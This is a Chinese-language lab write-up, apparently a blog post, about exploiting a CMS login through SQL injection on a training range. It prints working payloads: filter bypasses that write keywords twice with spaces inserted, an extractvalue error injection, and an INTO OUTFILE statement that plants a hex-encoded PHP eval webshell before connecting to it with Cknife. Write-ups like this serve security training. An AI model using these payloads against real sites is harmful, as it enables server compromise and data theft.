渗透测试-CMS系统SQL传马

理论基础

SQL注入的手工注入需要自行构造PayLoad,先学习下相关SQL语法:

limit

在这里插入图片描述在这里插入图片描述

union

在这里插入图片描述

攻击过程

墨者学院靶场链接
在这里插入图片描述在这里插入图片描述首先,上御剑扫描后台:
在这里插入图片描述
找到后台管理员登录页面:
在这里插入图片描述在用户名处输入“admin'",发现存在报错型SQL注入:
在这里插入图片描述接下来进行SQL注入的利用,使用SQLMap发现无法跑出数据,只能手工注入了。为了避免每次都输入用户名、密码和验证码,使用BurpSuite抓包并发送到Repeater模块:
在这里插入图片描述

注入绕过

尝试获取数据库名' union select 1,2,3,4,database() #(“#”为注释符号,注释掉目标Payload后面的SQL语句“’ limit 0,1”),结果发现 union 和 select 被后台过滤:
在这里插入图片描述尝试使用双写绕过——“' uniunionon selselectect 1,2,3,4,database() #”,结果发现只有selselectect 起作用(成功转换为select)而uniunionon不起作用:
在这里插入图片描述接着尝试使用空格来绕过过滤——“' uni union on selselectect 1,2,3,4,database() #”发现成功了,正常报错了:
在这里插入图片描述综上,没法直接用以上PayLoad获得回显查看数据库名称,但是我们知道注入失败的时候是有回显的。所以我们用报错注入试一下“' a and nd extractvalue(1,concat(1,database()))#”(此处对于关键字“and”同样采用双写+空格绕过),发现可以爆出当前数据库:
在这里插入图片描述可以(借助在BP响应包中右键选择“Request in browser”)将响应包放在浏览器中查看:
在这里插入图片描述

SQL传马

接下来准备利用SQL注入漏洞,直接上传一句话木马上去:admin'un union ion seselectlect 1,< ?php @eval($_post[cmd])?>,3,4,5 in into outoutfilefile '/var/www/html/shell.php' #(此处outfile同样得双写绕过),但是却发现“<>”两个尖括号被过滤了,木马上传不成功:
在这里插入图片描述访问 http://219.153.49.228:49038/shell.php,显示文件不存在:
在这里插入图片描述
使用16进制绕过,将一句话木马进行16进制编码,同时前面加上0x,这种方法也可以用在SQL注入传参时引号被限制的情况的绕过注入代码:admin'un union ion seselectlect 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e,3,4,5 in into outoutfilefile '/var/www/html/sbw.php'#
在这里插入图片描述
在这里插入图片描述访问 http://219.153.49.228:49038/sbw.php,显示文件上传成功:
在这里插入图片描述
文件中的密文是“admin”账号的密码:
在这里插入图片描述在这里插入图片描述但是我们已经上传了WebShell,直接上Cknife连接:
在这里插入图片描述
获得Key文件,攻击结束:
在这里插入图片描述

发布了117 篇原创文章 · 获赞 84 · 访问量 9万+

猜你喜欢

转载自blog.csdn.net/weixin_39190897/article/details/100110292